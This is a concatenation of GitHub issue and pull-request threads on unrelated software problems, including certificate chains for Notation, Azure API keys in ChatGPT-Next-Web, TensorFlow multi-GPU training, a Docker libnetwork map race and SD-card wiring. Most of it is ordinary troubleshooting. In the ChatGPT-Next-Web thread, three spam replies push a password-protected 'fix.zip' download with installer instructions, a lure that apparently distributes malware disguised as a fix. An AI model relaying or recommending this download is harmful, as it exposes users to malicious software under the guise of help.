Concatenate certificates into certificate chain

Is your feature request related to a problem?
Currently AKV has some issues:

User cannot upload and associate certificate chain to an existing certificate created in AKV. Please note that users can import a certificate file (contains certificate chain) into AKV, but private key is required. This is not feasible for some types of certificate, for example, EV certs.
The API get-certificate cannot get certificate chain from AKV. If the get operation is permitted for secrets, Clients can use API get-secret to get the certificate chain, however private key is also included which is not secure and additional permission is required for such secret operations.

According to Notation plugin spec, AKV plugin need to include certificate chain in the response to Notation signing request. Due to above AKV issues, it is not possible for AKV plugin to get certificate chain from AKV.
What solution do you propose?
The proposal is a workaround before AKV resolves the above issues. This issue requests the AKV plugin to concatenate certificates into certificate chain by leveraging plugin configs. Here are the steps:

Users get the certificate chain file from CA and store it locally. For example, certbundle.crt.
Users associate the certificate chain with the signing key on notation side. There is a parameter named --plugin-config for notation key add command. Users can use this parameter to add plugin configs related to the signing key. For example, notation key add "myKeyName" --plugin "azure-kv" --id "keyid" --plugin-config certbundle="./certbundle.crt"
Users sign artifacts using the key just added.  For example, notation sign --key "myKeyName", the plugin config is passed by Notation to AKV plugin in the generate-signature request, see spec
Once plugin receives generate-signature request, it reads the certificate chain content from ./certbundle.crt file based on the plugin config in the request, and concatenate it with the certificate got from AKV. The certificate got from AKV is normally a leaf certificate, which should be put at the beginning of concatenated certificates. Till this step, the certificate chain is created in plugin.

What alternatives have you considered?
Build the certificate chain from the OS store. There are cross-signed certificates, so building the certificate chain from the OS store could lead to a wrong certificate chain being generated, then user may not be able to verify the signature.
Any additional context?

Just sharing my thoughts on the proposed solution above:

Looks like we will not use the OS store to solve this issue anymore. Then, the newly proposed solution is highly dependent on users getting the rest of the certificate chain correctly and safely. (The user would start from a CA issued leaf certificate.)
Therefore, we need a tutorial to tell users how to do it. Since this happens even before calling the notation key add command, looks like this tutorial needs to be inside Notation. Without any tutorial, users might have to try multiple times only to get a correct cert chain in order to Sign with notation. Usability is my top concern here.
Note, a user might get the rest of the cert files in the chain one by one instead of a bundle. In this case, users need to know how to concatenate them. Again, we could have a doc for this. But I'm thinking if a new command in notation CLI would help, something like notation cert chain cert1 cert2 rootCert command.
Since notation will always validate the full cert chain on Sign and Verify, it seems that AKV plugin could just skip the validation process. (This is an implementation detail though) @JeyJeyGao

I think we can build shared library to manipulate the cert chain, including concatenate the leaf cert and cert bundle, fetch the cert chain from OS and validate the cert chain for notation, so all the notation plugin implementer can share the library, or used by who want a cert chain.

Do we need to mention that certbundle.crt is in PEM format.

Thanks @JeyJeyGao  and @patrickzheng200, the issue description was updated accordingly.

Thanks @shizhMSFT for providing offline comments. I accepted all the comments.

Great to see this subject moving forward :)
In my opinion, the proposal of @JeyJeyGao is probably a better long term solution for any other plugins which will have the same kind of issues.
For your concerns @patrickzheng200 I would propose to don't care about the certs order in the bundle. To me, it's a simple CA bundle like it already exists on Linux, the plugin (or lib) in charge to reassemble le chain should just search the certs on it. If you have some cross signing you just use a smaller bundle to avoid a wrong computation, but if you don't you could even point /etc/certificates/ca.pem in Linux context.
By the way in term of usability, using cross signing is more worrying to me... When it happened with Let's encrypt for their "smooth" CA migration some years ago, it has been a drama in the dev community to understand the root cause and the side effects of cross signing ! So someone using this "advanced" approach should not be worried about generating a bundle 😃
But if there is an utility on notation to manage certs it's not a bad idea at all anyway.


Allow recursive-clone with forks

Currently, forking private forks is an issue since the gitmodule path only moves 1 up the hierarchy.
This PR applies the change to main branch. If accepted, I'll create a similar PR for the gen2_develop branch

This seems like a great idea.  Thank you!  Bringing up to team and likely will see an answer tomorrow when the team is back online.

Seems like the solution to https://github.com/luxonis/depthai-core/pull/27#issuecomment-735962837 as well.
CC: @szabi-luxonis
Any known drawbacks of this method @kunaltyagi?

None on github (at least that I know of). On gitlab, it might be an issue since the hierarchies can be arbitrary deep there


[Bug]

📦 Deployment Method
Docker
📌 Version
v2.14.2
💻 Operating System
Other
📌 System Version
x
🌐 Browser
Chrome
📌 Browser Version
x
🐛 Bug Description
After updating the yidadaa/chatgpt-next-web version to the latest, the deployed website unable to work. I use the same docker command as before. It seems that the AZURE_API_KEY wasn't handled correctly in the project. Could you help investigate? Thanks!
My command:
 docker run -d -p 3000:3000 -e CODE=mycode -e AZURE_URL=https://xxxxx.openai.azure.com/openai/ -e AZURE_API_KEY=mykey -e AZURE_API_VERSION=2024-06-01 yidadaa/chatgpt-next-web

the error:

📷 Recurrence Steps
No response
🚦 Expected Behavior
No response
📝 Additional Information
No response

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file password: changeme In the installer menu, select "gcc."

？？？

same bug here , Azure(OpenAI)
{
  "error": {
    "message": "You didn't provide an API key. You need to provide your API key in an Authorization header using Bearer auth (i.e. Authorization: Bearer YOUR_KEY), or as the password field (with blank username) if you're accessing the API from your browser and are prompted for a username and password. You can obtain an API key from https://platform.openai.com/account/api-keys.",
    "type": "invalid_request_error",
    "param": null,
    "code": null
  }
}

I encountered the same problem when I used Azure OpenAI's API


how to select parameter  window_len?

hello, nice project ! Its very useful.
But I have a question : Since 'window_len' parameters have a great influence on the experimental results, how to choose the right window_len. Can you give some advice? Thank you very much.

Since window_len control the extent of smoothness in frame variation, you should give it a high value when there are too many local maximas (e.g. video is choppy or have sudden variations). The actual value is subjective to the kind of videos you are passing as input. You should also look at the generated graph to decide about optimal value for window_len.


Label Appear without Showing Icon

i have put all require file like, dist/css/map-icons.css , dist/js/map-icons.js, then i make maker like this:

    var marker = new google.maps.Marker(
    {
        position: myLatLng,
        map: map,
        icon: {
            path: SQUARE_ROUNDED,
            fillColor: '#00CCBB',
            fillOpacity: 1,
            strokeColor: '',
            strokeWeight: 0
        },
        map_icon_label: ''
    });

but icon is not appear, just label like this:

anyone can help me to fix this?
thank you

I'm having the same issue, any help?

Markers are created just like a normal Google Maps Marker, however, the class is extended for the map_icon_label property to add in markup for marker labels.
Note: You should be creating an instance of Marker rather than google.maps.Marker in order for the functionality added by map_icon_label to work.
var marker = new Marker({
map: map,
position: new google.maps.LatLng(-27.46577, 153.02303),
icon: {
path: SQUARE_PIN,
fillColor: '#00CCBB',
fillOpacity: 1,
strokeColor: '',
strokeWeight: 0
},
map_icon_label: ''
});

i have try with

var marker = new Marker({

but if i use that, it not show anything...

How are you using var marker ? . I mean you should be passing it along google.maps.event below is the one way of doing it. You can also pass it like   google.maps.event.addListenerOnce(window , 'load , function(){ . please check the GoogleMap API to create simple map.
`$scope.map=new google.maps.Map(document.getElementById("map") , mapOptions);
google.maps.event.addListenerOnce($scope.map , 'idle' , function(){
  var marker = new Marker({
    map : $scope.map,
    animation : google.maps.Animation.DROP,
    position : LatLang ,
    icon: {
           path: SQUARE_PIN,
	fillColor: '#0c60ee',
	fillOpacity: 1,
	strokeColor: '',
	strokeWeight: 0,
            scale: 5

},
map_icon_label: '' });

});`
If this dint fix. Please share the code or snippet if possible. Thanks.

@fasidOnGit please review my code on https://codeshare.io/aJpBYZ
thank you...

Wow awesome project, well done.
But I having the same issue as well. In your example.html everything works well, but not in my angular 2 project.
var mapOptions = {
		zoom: 16,
		center: center,
		scrollwheel: false,
		mapTypeId: google.maps.MapTypeId.ROADMAP,
		styles: [
			{stylers: [{ visibility: 'simplified' }]},
			{elementType: 'labels', stylers: [{ visibility: 'off' }]}
		]
	};

const marker =  new Marker({
      position: position,
      map: map,
      icon:  {
        path: ROUTE,
        fillColor: '#00CCBB',
        fillOpacity: 1,
        strokeColor: '',
        strokeWeight: 0
      },
      map_icon_label: ''
    });

The font icon is shown on the upper left. Some CSS Issue?

I had the same issue.
Adding codes and Script tags in the same order as Example worked for me.

The forked version of https://github.com/bmauser/map-icons works much better. Would be nice if the author should accept the pull request. :)

marker = new mapIcons.Marker({
map: map,
title: markers[i][0],
position: position,
icon: {
path: mapIcons.shapes.SQUARE_PIN,
fillColor: '#c61f1f',
fillOpacity: 1,
strokeColor: '',
strokeWeight: 0,
},


Skeleton of integer shift with rounding.

Fairly correct implementation of right-shift with rounding. Also fairly efficient, though I'm sure I'll find some cases where we're generating uncessary overflow checks upon further inspection. Nonetheless, a decent enough start.
Needs documentation written still (including for rounding modes), hence a draft PR for now.

@swift-ci test

@swift-ci test

@swift-ci test

@swift-ci test


Revert 32a4b351a

What does this PR change?
Failed to configure repo 'deb http://downloadcontent.opensuse.org/repositories/systemsmanagement:/Uyuni:/
Test-Packages:/Pool/deb/ /': E: The repository 'http://security.debian.org bullseye/updates Release' does
not have a Release file.

reason might be because directory listing of https://downloadcontent.opensuse.org/repositories/systemsmanagement:/Uyuni:/Test-Packages:/Pool/{deb,rpm}/ produces a 403 Forbidden.

problem is other - will be fixed in sumaform


mirroredstrategy not working? parallel GPUs working like serial

I'm working with TF2.0
I find a situation confusing when using mirroredstrategy just the same as the tutorial:
strategy = tf.distribute.MirroredStrategy()

# Create a dataset
dataset = dataset_ops.Dataset.TFRecordDataset([
  "/a/1.tfr", "/a/2.tfr", "/a/3.tfr", "/a/4.tfr"])

# Distribute that dataset
dist_dataset = strategy.experimental_distribute_dataset(dataset)
# Iterate over the distributed dataset
for x in dist_dataset:
  # process dataset elements
  strategy.experimental_run_v2(train_step, args=(x,))

here's step_fn() in function train_step(), I made 2 time stamp in the code:
# @tf.function(experimental_relax_shapes=True)
def train_step(dist_inputs):
    def step_fn(inputs):
        (mel_specs, pred_inp,
         spec_lengths, label_lengths, labels) = inputs
        with tf.GradientTape() as tape:
            outputs = model([mel_specs, pred_inp],
                training=True)
            # adding line below
           begin_time = time.tme()
            loss = loss_fn(labels, outputs,
                spec_lengths, label_lengths)
            loss *= (1. / batch_size)

        if train_metrics is not None:
            metric_results = run_metrics(mel_specs, labels,
                metrics=train_metrics)
            metric_results = {name: result * (1. / max(len(gpus), 1)) for name, result in metric_results.items()}

        gradients = tape.gradient(loss, model.trainable_variables)

        # adding line below before update gradients
        end_time = time.time()
        print(begin_time, end_time, end_time-begin_time)
       optimizer.apply_gradients(zip(gradients, model.trainable_variables))

        return loss, metric_results
    losses, metrics_results = strategy.experimental_run_v2(step_fn, args=(dist_inputs,))
    mean_loss = strategy.reduce(
        tf.distribute.ReduceOp.SUM, losses, axis=0)
    mean_metrics = {name: strategy.reduce(
        tf.distribute.ReduceOp.SUM, result, axis=0) for name, result in metrics_results.items()}
    return mean_loss, mean_metrics

I found that if using 2 GPUs(say gpu0 and gpu1),
the two gpu printing time_stamp: bg1, ed1 and bg2, ed2
the four params relationship is like this:
bg1<ed1<bg2<ed2
that is only when gpu0 finished inference, gpu1 start inferencing
Was the MirroredStrategy not working?
I commented the tf.function() ,was there any relationship?
when I not comment the tf.function(), the code ran into the ERROR: python segment fault (core dumped)...
someone can help me? thanks

When not using tf.function, this is expected. We do not recommend using MirroredStrategy with eager op by op mode for now unless for debugging purposes.
When using with tf.function, the time you are printing is for the function tracing / graph construction, and is not representative of the actual execution time.

When not using tf.function, this is expected. We do not recommend using MirroredStrategy with eager op by op mode for now unless for debugging purposes.
When using with tf.function, the time you are printing is for the function tracing / graph construction, and is not representative of the actual execution time.

thanks for reply!

run_eagerly=False saved the day. Thank you @guptapriya  @ybNo1 !!
Additional info on what I encountered provided below.
I have faced the similar issue when training a keras model in a single host 2-gpu environment. Aftering going through the helpful guidlines and adding usage of tf.distribute.MultiWorkerMirroredStrategy, distributed_train_step, distributed_test_step and swapping Keras Sequence data generator to tf.data.Dataset.
https://www.tensorflow.org/guide/distributed_training
https://www.tensorflow.org/tutorials/distribute/custom_training
https://www.tensorflow.org/tutorials/distribute/multi_worker_with_keras
https://www.tensorflow.org/tutorials/distribute/keras
GPU utilization still behave "like serial" - specifically GPU utilization would only increase for GPU0 only when ultilization for GPU1 approach zero and vise versa.
Per @guptapriya's suggestion, after turning off run_eagerly in model.compile, both GPUs are being used at the same time now!


Unexpected result of partial_ratio

Hi, when calculating the partial_raito between abcd and abd, it gives:
> partial_ratio('abcd','abd')
80.0

According to my understranding, the optimal alignment would be:
> ratio('abcd','abd')
85.71428571428571

and 80.0 is probably from:
> ratio('ab','abd')
80.0

Did I misunderstand this?  I would like to check the docs but it fails to load the contents under these functions.
And is it possible to calculate the partial_ratio with equal weights for indels and substitutions?
Thanks!

I would like to check the docs but it fails to load the contents under these functions.

Thanks for mentioning. It appears the CI job currently generates the docs in a broken way for some reason. I manually fixed the docs and opened https://github.com/maxbachmann/RapidFuzz/issues/174 to track the issue

fuzz.partial_ratio is calculated using a sliding windows of length min(len(s1), len(s2)) and then calculating the fuzz.ratio of each alignment. So for the two sequences "abdc" and "abd" it calculated the fuzz.ratio for the following alignments:

Alignment
similarity

abd <-> a
50

abd <-> ab
80

abd <-> abc
66.67

abd <-> bcd
66.67

abd <-> cd
40

abd <-> bcd
50

For this reason it is actually not guaranteed to be at least as high as the fuzz.ratio between the two full sequences. fuzz.partial_ratio always uses fuzz.ratio which uses the Indel Distance (just uses Insertions/Deletions, so similar to Levenshtein distance with a weight of 2 for Substitutions) and there is no option to select a different metric as of now.
From your question I think your searching for the Smith Waterman algorithm: https://en.wikipedia.org/wiki/Smith–Waterman_algorithm. This metric is not supported in RapidFuzz yet, but I plan to add it in v2.0.0 (https://github.com/maxbachmann/RapidFuzz/issues/175).

Thanks for the explanation, Smith Waterman is definitely what I want. 👍


Archive data to S3 after WatchedExpireDays

Adding a feature to archive data from db to S3 (requests/metrics/logs/model...) or to other external endpoint after defined *WatchedExpireDays would greatly meet the audit compliance, instead of deleting from database.

@bishalkc any suggestion in how we should do that? Pretty sure it removes 1 at a time. Should it send 1 at a time? And how would the data be formatted? Json? CSV?
If we're gonna go the distance to make an export, we would probably want to use the Filesystem setup from Laravel.

@nowendwell I need to check if it 1 at a time, if so likely push 1 at a time, i think it may be great if we have an option to archive as json or csv (but prefer json), for me both works, but just thinking out loud other folks may prefer one or other.

@bishalkc I was mistaken. It does a lookup for all of the records older than the config date and then deletes them. It would be pretty easy to export these especially since it is based on a model we can call toArray or something similar.


The preview function shows mojibake in gui, maybe wrong encoding? Where to edit the source code for preview<EMAIL_ADDRESS>

The preview function shows mojibake in gui, maybe wrong encoding? Where to edit the source code for preview<EMAIL_ADDRESS>

Preview code is in the _recognition_preview.ahki file. But I think the function that probably needs to be fixed is OcrImageFile which is in the _helper.ahki file. This one leads to the ExecuteCommand function from the _console.ahki.
I guess the issue is that StdOut from cmd.exe is in your local windows code page.

You can try fixing it by yourself or you can send me some example Ground Truth data and I'll do it when I find some time for it.

Look 2 messages above your question. Already answered.

100split.zip
Check this sample ground truth data

jp100.zip
check trainneddata here

I tried to update with your source code, it does not work. Same wrong display result.

I've fixed it. Please try the new version.

Thank you.
But there is error when I tried to preview.

I don't understand Japanese, what does the exception message say?

The system cannot find the specified file.

which file did you updated? Maybe I can copy your new updated file to old version to make it work.

Fixed, check it now

thank you.
Will check later.
Also, for training datasets, can I put them in several sub folders for each font?
Did it support sub folders?

I don't think so. At the moment it executes commands the same way console training script does (from the main tesstrain repo).
In the "Disscusions" section there's an "Ideas" category. You can use it to propose that. Maybe some day I'll have time to implement it or you or someone else will try doing it.
You can use just naming convention if the only think you want to achieve is have the input data ordered.

You can use separate folders for different Ground Truth input and to train different .traineddata targets, if that's your point.

I mean training for all fonts in a parent folder.
In paddle ocr, it supports reading label file with path for each image

I mean training for all fonts in a parent folder.
In paddle ocr, it supports reading label file with path for each image

It can be displayed, but there is one problem.
The blank area is wrongly recognized as English letters.

I think this is just a matter of more training.

Ok. It can be solved by opencv cropping, but don't know how to execute in your source code.

I assume the issue from subject is now fixed.


side to side middle scroll notes

What is your question?
im working on this old mod i dont really even work on and in one song i want to make bfs notes to be middle scroll (same with opponent) but at a certain point they'll go side to side
idk how to make it but i've tried and i haven't been able to make it

Please elaborate further.

ok so basically the notes will be middle scroll for the entire song (bfs are visible but not opponents) and at a certain point in the song bfs notes go from one side to another
thats the best i can give

The best way you can do this is to use noteTweenX, check the wiki to figure out how to use it


Add Haskell and Elm lambda

Hi,
I just added lambda conceals for elm and haskell

Excellent!
Thanks for the contribution, and I'm very happy to add Haskell/Elm support


StatefulSet Basics - setting update strategy to OnDelete

When attempting to run this command:
kubectl patch statefulset web -p '{"spec":{"updateStrategy":{"type":"OnDelete"}}}'

I receive this message:
The StatefulSet "web" is invalid: spec.updateStrategy.rollingUpdate: Invalid value: apps.RollingUpdateStatefulSetStrategy{Partition:0, MaxUnavailable:(*intstr.IntOrString)(nil)}: only allowed for updateStrategy 'RollingUpdate'

Related page: https://kubernetes.io/docs/tutorials/stateful-application/basic-stateful-set/#on-delete
/language en

/assign

It is recommended to wait till the issue is accepted as valid to work on or triage is accepted before assigning it to yourself.

OK, let's teach setting the field to null explicitly, per https://github.com/kubernetes/kubernetes/issues/100151#issuecomment-801073848
/triage accepted
/help

/sig apps

Hi Team, I am new to open source, so can some confirm whether the issue is still open and in a position to assign someone?

@BeElectronicSakshi This is an accepted issue. Anyone is welcomed to sign on this and propose a fix.

/assign

The command needs to be updated to:
kubectl patch statefulset web -p '{"spec":{"updateStrategy":{"type":"OnDelete", "rollingUpdate": null}}}'


ERROR: Unknown plugin elasticsearch-binary-vector-scoring-7.5.0.zip

Hey,
I packaged this plugin as you mentioned in readme document then tried to install on ES7.5.0, 7.9.0 and 7.9.2 but I got this error

After changing plugin address to absolute one, I got another error


os_info shouldn't call out to external commands on Linux (it is slow)

I have a program that runs for a very short time (<100 ms), that needs to know what Linux distro it is on. Unfortunately using os_info results in a lot of (relative) overhead due to it calling out to external binaries. About 35 ms extra in fact. The program runtime is performance criticial, it gets invoked many times from a shell script.
It seems that lsb_release is the worst offender (at ~35 ms). Removing lsb_release from path brings the overhead down to a more manageble ~4-5 ms. There is an old issue #319 about this, but no progress.
The remaining invoked programs seem to be:

getconf
uname
Somehow reinvoking the program itself? At least it looks like that in perf/hotspot:

Both getconf and uname should be possible to replace with calls to nix, libc or even rustix.
I have no idea why it looks like os_info is reivoking my program (paketkoll) though. But that shouldn't be needed either really. And yes, that extra process goes away if I remove os_info (and hard code in what distro is in use, in this case Arch Linux).

I agree with your concerns, but unfortunately I don't have time right now to fix that. Hopefully I will be able to look into that in about a month, but I don't want to promise anything. I welcome pull requests if you would like to implement that yourself.

I would argue that a frequently-running tool does not really need to call os_info every time, since that info is unlikely to change.  Even if it would avoid calling lsb_release it would do extra work you don't need.
I suggest caching the info you need in /run


problems using SD card reader (SPI) with the touch version

Hi,
I try to connect a SD reader via SPI to the T-Display-S3 touch version - sadly without success.
From reading other comments/websites it seems I can freely define the pins for a secondary (HSPI) SPI bus.
This is what I tried:
#include "FS.h"
#include "SD.h"
#include "SPI.h"

SPIClass spiSD(HSPI);
#define SDSPEED 27000000

//  SPI port #2:  SD Card Adapter
#define SD_CLK 21 //yellow
#define SD_MISO 18 //brown
#define SD_MOSI 17 //orange
#define SD_CS 16 //green

in setup I have:
Serial.begin(9600);

  spiSD.begin(SD_CLK, SD_MISO, SD_MOSI, SD_CS);  //SCK,MISO,MOSI,cs

  if (!SD.begin(SD_CS, spiSD, SDSPEED)) {
    Serial.println("Card Mount Failed!");
    return;
  } else {
    Serial.println("Card Mount Successful!");
}

but all I get is "Card Mount failed" - I have multiple reader modules, but I get the same result with all of them, so i assume the issue is with my setup/pins/code...
any help would be highly appreciated - thanks in advance  :)

First, you need to ensure that the file system format of your SD card is FAT32. Secondly, in addition to the SPI communication method. There is also a SD_MMC 1bit method. This method only needs to use 3 data lines and has a huge improvement in timing.
The method of use is as follows
SD_MMC.setPin(x,x,x);
SD_MMC.begin("/sdcard",true,true);

Hi @mmMicky & thanks for your help.
my file system already was FAT32, so this was not the issue.
And while I may look into the MMC 1-bit method, I still would like to get the SPI mode working as (for other projects) I also want to use other SPI peripherals with this T-Display-S3 board, not only SD card...
I therefore rephrase my questions:

can I use a second (HSPI) bus with this display?

If yes, can I use this port setup?

#define SD_CLK 21 //yellow
#define SD_MISO 18 //brown
#define SD_MOSI 17 //orange
#define SD_CS 16 //green

is there any code example for using a second SPI bus with this board?

thnx a lot for your help!

I found the solution on my own with some help of Google.
In the end I only had to add one more line of code to make it work (switching the CS Pin to output...):
pinMode(SD_CS,OUTPUT);

so the complete code-part looks like this:
void setup() {

  Serial.begin(9600);

  spiSD.begin(SD_CLK, SD_MISO, SD_MOSI, SD_CS);  //SCK,MISO,MOSI,cs
  pinMode(SD_CS,OUTPUT);

  if (!SD.begin(SD_CS, spiSD, SDSPEED)) {
    Serial.println("Card Mount Failed!");
    return;
  } else {
    Serial.println("Card Mount Successful!");
  }
}

Congrats on finding the right solution and sharing it. This is also required when using SD_MMC.
pinMode(cs, output);
digitalWrite(cs, 1);


Using dataclass instead of namedtuple for CastStatus

Would it be of any benefit if you used a class instead of namedtuple for CastStatus in socket client:
https://github.com/balloob/pychromecast/blob/84f72dd12cab95fa9923d9db9329d369d5aa6661/pychromecast/socket_client.py#L134
It would make it easier to add types to callbacks, which then again would make for easier code completion etc. when coding in an IDE like vscode
I will be happy to submit a PR for it..

never mind, seems like I have to read up on python before suggesting stuff :)


REALMC-8905 CLI: Install packages via package.json

@Amaan95 @arahmanan Opened up this diff as this is the most up to date change I can make for the ticket, feel free to start review this after blocking ticket is merged.

Tagging @makesitgo for 👀 from the CLI side

@makesitgo
Please see these screen shots for
realm-cli app diff --help is run
realm-cli app diff --include-dependencies

I did not do 2 of those order of operation notes comment, because I decided to return err when both arg present.

@makesitgo Nick please give it another look when you have time, I incorporated the changes on flags. I know that we discussed that the deprecate field should be a string, but I feel the only 2 things thats needed for a deprecation message is first unsupported version and forwarding flag, so i decided to keep some of the struct settings.
Thanks!

Updated fetch message.


docker daemon in swarm mode is crashing periodically

BUG REPORT INFORMATION
Description
docker 1.12 in swarm mode is crashing periodically
Steps to reproduce the issue:
1.
2.
3.
Describe the results you received:
docker exited unexpected
Describe the results you expected:
docker daemon running constantly
Additional information you deem important (e.g. issue happens only occasionally):
Output of docker version:
Exec command is forbidden for me, but I am sure the server version is
docker 1.12.1
Output of docker info:
I have to upload a snapshot for some reason.

Additional environment details (AWS, VirtualBox, physical, etc.):
physical CentOS 7.2
Logs triggered
http://pastebin.com/s71CxSaq

Judging from the trace:
Oct 14 12:56:41 DKRMSTT03 dockerd: fatal error: concurrent map read and map write
Oct 14 12:56:41 DKRMSTT03 dockerd: goroutine 2743747 [running]:
Oct 14 12:56:41 DKRMSTT03 dockerd: runtime.throw(0x1f42fa0, 0x21)
Oct 14 12:56:41 DKRMSTT03 dockerd: /usr/local/go/src/runtime/panic.go:547 +0x90 fp=0xc83286eca0 sp=0xc83286ec88
Oct 14 12:56:41 DKRMSTT03 dockerd: runtime.mapaccess2_faststr(0x16e7480, 0xc82da41d40, 0xc835524e80, 0x40, 0xc82043e960, 0xc82a1cc2c0)
Oct 14 12:56:41 DKRMSTT03 dockerd: /usr/local/go/src/runtime/hashmap_fast.go:307 +0x5b fp=0xc83286ed00 sp=0xc83286eca0
Oct 14 12:56:41 DKRMSTT03 dockerd: github.com/docker/libnetwork.(*sandbox).isEndpointPopulated(0xc83dafa1e0, 0xc83376fa20, 0x1)
Oct 14 12:56:41 DKRMSTT03 dockerd: /root/rpmbuild/BUILD/docker-engine/vendor/src/github.com/docker/libnetwork/sandbox.go:967 +0x85 fp=0xc83286ed50 sp=0xc83286ed00
Oct 14 12:56:41 DKRMSTT03 dockerd: github.com/docker/libnetwork.(*network).rmLBBackend.func1(0x7f6b24c650e8, 0xc83376fa20, 0x0)
Oct 14 12:56:41 DKRMSTT03 dockerd: /root/rpmbuild/BUILD/docker-engine/vendor/src/github.com/docker/libnetwork/service_linux.go:301 +0xd1 fp=0xc83286ee38 sp=0xc83286ed50
Oct 14 12:56:41 DKRMSTT03 dockerd: github.com/docker/libnetwork.(*network).WalkEndpoints(0xc82849c780, 0xc83286eed8)
Oct 14 12:56:41 DKRMSTT03 dockerd: /root/rpmbuild/BUILD/docker-engine/vendor/src/github.com/docker/libnetwork/network.go:937 +0xb5 fp=0xc83286eec8 sp=0xc83286ee38

This looks like a libnetwork hash map access bug. It is possible it was fixed in 1.12.2 @aboch @mavenugo any ideas if you have seen this before?

I have never seen this before. the offending code is introduced via https://github.com/docker/libnetwork/pull/1269 which is present prior to 1.12.0 and is not modified since. Idk if 1.12.2 is going to solve this. but @mrjana might know better.

https://github.com/kubernetes/minikube/issues/368

Looks like delete from the map when we cleanup is mistakenly happening outside the lock and this is the cause of the problem: https://github.com/docker/libnetwork/blob/master/sandbox.go#L851
And this is still the case so yeah it is not fixed in 1.12.2. Will fix it.

Created libnetwork PR https://github.com/docker/libnetwork/pull/1512 to fix this.


[Migrated] Django SAML: saml2.sigver.SigverError: Can't find ['xmlsec1']

Originally from: https://github.com/Miserlou/Zappa/issues/1726 by ameenmaali

Context
Python 3.6, zappa 0.47.1:
I am trying to setup django_saml2_auth and running into some issues with xmlsec1
saml2.sigver.SigverError: Can't find ['xmlsec1']
The setup works locally, but there are some issues with xmlsec1 running in the AWS Lambda environment. I have tried to build it a number of different ways in docker (using both the Amazonlinux image and lambci python 3.6), but no luck. Steps I've tried:

Build and deploy in docker
Manually copy library files to /var/task/myenv/lib/python3.6/site-packages/lib/ as well as `/var/task/lib/
Manually update PySAML2 xmlsec_binary path
I've also tried to follow: https://github.com/Miserlou/Zappa/issues/1029 and https://github.com/Miserlou/Zappa/issues/1374 with no luck

Expected Behavior
Redirection to SAML login page
Actual Behavior
Traceback (most recent call last):
  File "/var/task/django/core/handlers/exception.py", line 35, in inner
  response = get_response(request)
  File "/var/task/django/core/handlers/base.py", line 128, in _get_response
  response = self.process_exception_by_middleware(e, request)
  File "/var/task/django/core/handlers/base.py", line 126, in _get_response
  response = wrapped_callback(request, *callback_args, **callback_kwargs)
  File "/var/task/django_saml2_auth/views.py", line 207, in signin
  saml_client = _get_saml_client(get_current_domain(r))
  File "/var/task/django_saml2_auth/views.py", line 99, in _get_saml_client
  spConfig.load(saml_settings)
  File "/var/task/saml2/config.py", line 356, in load
  self.load_complex(cnf, metadata_construction=metadata_construction)
  File "/var/task/saml2/config.py", line 296, in load_complex
  self.load_metadata(cnf["metadata"]))
  File "/var/task/saml2/config.py", line 398, in load_metadata
  disable_ssl_certificate_validation=disable_validation)
  File "/var/task/saml2/mdstore.py", line 850, in __init__
  self.security = security_context(config)
  File "/var/task/saml2/sigver.py", line 1103, in security_context
  xmlsec_binary = get_xmlsec_binary(_path)
  File "/var/task/saml2/sigver.py", line 203, in get_xmlsec_binary
  raise SigverError("Can't find %s" % bin_name)
saml2.sigver.SigverError: Can't find ['xmlsec1']

Steps to Reproduce

Install django_saml2_auth
Setup required configuration steps to connect to SAML
Deploy to Lambda environment
Navigate to SAML login page (django_saml2_auth.views.signin)
Should get the error

Your Environment

Python 3.6, zappa 0.47.1:
Dockerfile:
FROM lambci/lambda:build-python3.6

RUN yum groupinstall -y 'Development Tools' && \
    yum install -y xmlsec1 libxslt-devel libxml2-devel xmlsec1-devel xmlsec1-openssl-devel libtool-ltdl-devel

ARG environment
ENV LANG en_US.UTF-8
ENV LANGUAGE en_US:en
ENV LC_ALL en_US.UTF-8
WORKDIR /var/task

RUN virtualenv dev && source dev/bin/activate && \
    pip install -r requirements.txt

CMD ["bash"]

@jneves did you ever figure this out?


Update linux_admin to 1.2.4

Looks like we're a few releases behind on the linux_admin gem. Can we update to 1.2.4?

@miq-bot add_reviewers @carbonin, @bdunne

@miq-bot add_reviewer @carbonin

Keep in mind this dependency is already tracked in the console which is where it is primarily used.


stringify FzHttp.Types.IPPort

Fixes #1668
Didn't write a failing test to save a bit time and since this branch is stale, but can add one if you think necessary.

Pull Request Test Coverage Report for Build 52659b85e514d62d0ffa6b37cf678252c4199c2e-PR-1670

0 of 1 (0.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.03%) to 70.669%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

apps/fz_http/lib/fz_http/types/protocols.ex
0
1
0.0%

Totals

Change from base Build 6affca0e2dc2b2982b3c57330d405d807f9fce0d:
-0.03%

Covered Lines:
1966

Relevant Lines:
2782

💛  - Coveralls

K, I'll remove it. Will get #1629 merged


Re-Identification application

Resolved #58

Use engine.job.change permissions
Need to check that we can use images "after.gif" and "before.gif". I will prefer to prepare screencast using an approved video clip.

@nmanovic
Done.

@bsekachev , the PR is fine. Just need to add a couple of hints and fix a couple of typos.

@bsekachev , Should we "freeze" ui windows when the algorithm works? All changes in annotation will be lost (at least for bounding boxes)

@nmanovic
Yes, all changes during ReID is running will be lost.


Input Number Slider

Please add an input_number slider, it could be in Mushroom Entity card, if it's a input_number have an option to put a slider.
PD: I recently discovered Mushroom and I'm changing all my dashboard, it's awesome, thanks a lot for the hard work!

I would like this as well.

+1

+1

I also came here to ask for this, I would love to have Mushroom's touch-friendly slider for my BBQ temperature target input_numbers

This would be great, and I'd just like to add that it would be even better if it supports +/- button mode (like the mushroom climate card) as another option intead of the slider:

Can be closed, since it was implemented in v2.6.0


misbehavior of lfs_file_truncate

It appears that lfs_file_truncate() moves the file head without recording that fact.
To reproduce: In a file system with 16 byte block size, and 64 byte cache, create a file that has 64 bytes increasing from 0x00 to 0x3F.  Close the file.
Then open the file and execute these commands:
uint8_t buffer[64];
printf("tell %u\n", (unsigned int)lfs_file_tell(lp, fp));
printf("read %d\n", lfs_file_read(lp, fp, buffer, sizeof(buffer)));
printf("\t%02x %02x %02x %02x\n", buffer[0], buffer[16], buffer[32], buffer[48]);
printf("seek %d\n", (int)lfs_file_seek(lp, fp, 0, LFS_SEEK_SET));
